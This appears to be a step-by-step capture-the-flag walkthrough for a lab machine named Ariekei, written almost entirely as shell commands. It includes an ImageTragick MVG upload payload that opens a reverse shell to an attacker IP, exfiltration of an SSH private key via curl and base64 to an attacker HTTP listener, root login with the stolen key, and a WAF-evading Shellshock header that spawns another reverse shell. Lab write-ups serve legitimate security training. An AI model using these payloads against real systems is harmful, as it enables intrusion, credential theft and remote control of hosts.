Ariekei

Identify open services and collect version banners for all three ports.

$ nmap -Pn -sV -p 22,443,1022 $TARGET

Extract SAN entries from the live TLS certificate to discover unlisted vhosts.

$ echo | openssl s_client -connect $TARGET:443 -servername ariekei.htb 2>/dev/null | openssl x509 -noout -ext subjectAltName

Register all discovered vhosts for local DNS resolution so subsequent curl/browser requests resolve correctly.

$ echo "$TARGET ariekei.htb calvin.ariekei.htb beehive.ariekei.htb" | sudo tee -a /etc/hosts

Confirm the image-upload application is reachable on the calvin vhost.

$ curl -sk https://calvin.ariekei.htb/upload

Start the reverse-shell listener on my machine before uploading the payload (run in background).

$ nc -lvnp 4444

Create the ImageTragick MVG payload; replace $ATTACKER_IP with your machine's IP. IFS substitution avoids space filtering in some environments.

$ cat > /tmp/delegate.mvg <<EOF
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 'https://localhost";bash\${IFS}-c\${IFS}"bash\${IFS}-i\${IFS}>%26\${IFS}/dev/tcp/'"$ATTACKER_IP"'/4444\${IFS}0>%261"'
pop graphic-context
pop graphic-context
EOF

Upload the malicious MVG; ImageMagick opens it, the delegate fires, and the reverse shell connects to the listener.

$ curl -sk -F 'file=@/tmp/delegate.mvg' https://calvin.ariekei.htb/upload

List the shared bind-mount root from inside the calvin container shell to identify per-container subdirectories.

$ ls -la /common/

Enumerate every file on the shared mount to locate secrets, keys, and configuration files.

$ find /common -type f 2>/dev/null

Read the WAF nginx config to map internal proxy targets, backend IP addresses, and routing rules.

$ cat /common/containers/waf-live/nginx.conf

Confirm bastion_key is present and its permissions allow reading from the current shell.

$ ls -la /common/.secrets/

Start an HTTP listener on my machine to receive the exfiltrated key content (run in background).

$ python3 -m http.server 23200

Exfiltrate the private key via a base64-encoded GET request from the calvin shell; decode the URL path segment from listener logs to reconstruct the key file.

$ curl -s "http://$ATTACKER_IP:23200/$(cat /common/.secrets/bastion_key | base64 -w0)"

After saving the decoded key locally on my machine, set correct permissions so the SSH client will accept it.

$ chmod 600 /tmp/bastion_key

Connect as root using the stolen key. The legacy algorithm flags are required for the old OpenSSH 6.6.1p1 host.

$ ssh -i /tmp/bastion_key -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -p 1022 root@$TARGET

Confirm root identity and verify the host is the bastion, not another container.

$ id && hostname

Locate and read the user flag (value redacted: <user.txt>).

$ find / -name user.txt -maxdepth 6 2>/dev/null -exec cat {} \;

Standard Shellshock probe — WAF returns HTTP 403, confirming the filter is active but revealing the endpoint exists.

$ curl -sk -H 'User-Agent: () { :;}; echo; /usr/bin/id' https://beehive.ariekei.htb/cgi-bin/stats

Obfuscated Shellshock payload that bypasses the WAF signature; a successful response body contains the id output as www-data.

$ curl -sk -H 'X-Test: (){ _;}>_[$($())] { echo; /usr/bin/id; }' https://beehive.ariekei.htb/cgi-bin/stats

Upgrade to a reverse shell via Shellshock; replace $ATTACKER_IP and start nc -lvnp 4445 first.

$ curl -sk -H "X-Test: (){ _;}>_[$($())] { echo; bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1; }" https://beehive.ariekei.htb/cgi-bin/stats